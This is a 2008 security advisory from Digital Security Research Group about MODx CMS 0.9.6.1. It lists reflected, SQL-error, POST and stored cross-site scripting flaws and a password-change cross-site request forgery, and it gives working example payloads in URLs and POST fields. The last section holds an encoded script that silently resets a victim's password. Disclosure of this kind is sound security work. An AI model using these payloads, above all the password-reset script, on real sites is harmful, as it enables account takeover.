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[DSECRG-08-013] Modx 0.9.6.1, 0.9.6.1p1 Multiple Security Vulnerabilities Feb 07 2008 03:08PM
Digital Security Research Group [DSecRG] (research dsec ru)


Digital Security Research Group [DSecRG] Advisory #DSECRG-08-013

Application: MODx CMS
Versions Affected: 0.9.6.1, 0.9.6.1p1
Vendor URL: http://modxcms.com/
Bugs: XSS, SiXSS, stored XSS, Change User Password XSRF Vulnerability.
Exploits: YES
Reported: 11.01.2008
Vendor response: 11.01.2008
Updated Report: 29.01.2008
Vendor response: none
Solution: none
Date of Public Advisory: 07.02.2008
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description
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MODx system has multiple security vulnerabilities:

1. Linked XSS
2. Linked SiXSS
3. XSS in POST
4. Stored XSS in POST
5. Change User Password XSRF Vulnerability

Details
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1. Multiple linked XSS vulnerabilities found. Attacker can inject XSS in URL string.

1.1 Linked XSS vulnerability found in manager/index.php. GET parameter "search"

Search string is available in pages:

http://[server]/[installdir]/manager/index.php?a=75

http://[server]/[installdir]/manager/index.php?a=84

http://[server]/[installdir]/manager/index.php?a=99

http://[server]/[installdir]/manager/index.php?a=106

http://[server]/[installdir]/manager/index.php?a=114

Example:

http://[server]/[installdir]/manager/index.php?a=75&search="><IMG SRC="javascript:alert('DSecRG XSS')

http://[server]/[installdir]/manager/index.php?a=84&search="><IMG SRC="javascript:alert('DSecRG XSS')

1.2 Linked XSS vulnerability found in index.php. GET parameter "highlight"

Example:

http://[server]/[installdir]/index.php?searched=modx&highlight="><IMG SRC="javascript:alert('DSecRG XSS')

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2. Multiple linked SiXSS vulnerabilities found. Attacker can inject XSS code in SQL Error.

2.1 Vulnerability found in script manager/index.php. GET parameter "a"

Example:

http://[server]/[installdir]/manager/index.php?a='<img src="javascript:alert('DSecRG XSS')">

2.2 Vulnerability found in script index.php. GET parameter "id"

Example:

http://[server]/[installdir]/index.php?id='<img src="javascript:alert('DSecRG XSS')">

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3. XSS in POST, attacker can inject XSS in POST parameter

3.1 Vulnerability found in script index-ajax.php.

POST parameters "docgrp" and "moreResultsPage".

Example:

moreResultsPage = "><IMG SRC="javascript:alert('DSecRG XSS')">

3.2 Vulnerability found in script index.php.

POST parameters "email", "name" and "parent".

Example:

name = " style="background:url(javascript:alert('DSecRG XSS'))

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4. Vulnerability found in script manager/index.php?a=10

POST parameters "messagesubject" and "messagebody".

Attacker can comprose message with script code in subject and message body.

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5. Change User Password XSRF Vulnerability

Previous password not required to set a new password.

Using XSS vulnerabilities, attacker can include following code to change user password:

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<IMG%20SRC=`javascript:var%20objHTTP%20=%20new%20ActiveXObject('MSXML2.X
MLHTTP');%20objHTTP.open('POST',"http://[server]/[installdir]/manager/in
dex.php?a=34",false);%20objHTTP.setRequestHeader('Content-Type',%20'appl
ication/x-www-form-urlencoded');%20objHTTP.send("pass1=123456%26pass2=12
3456");`>
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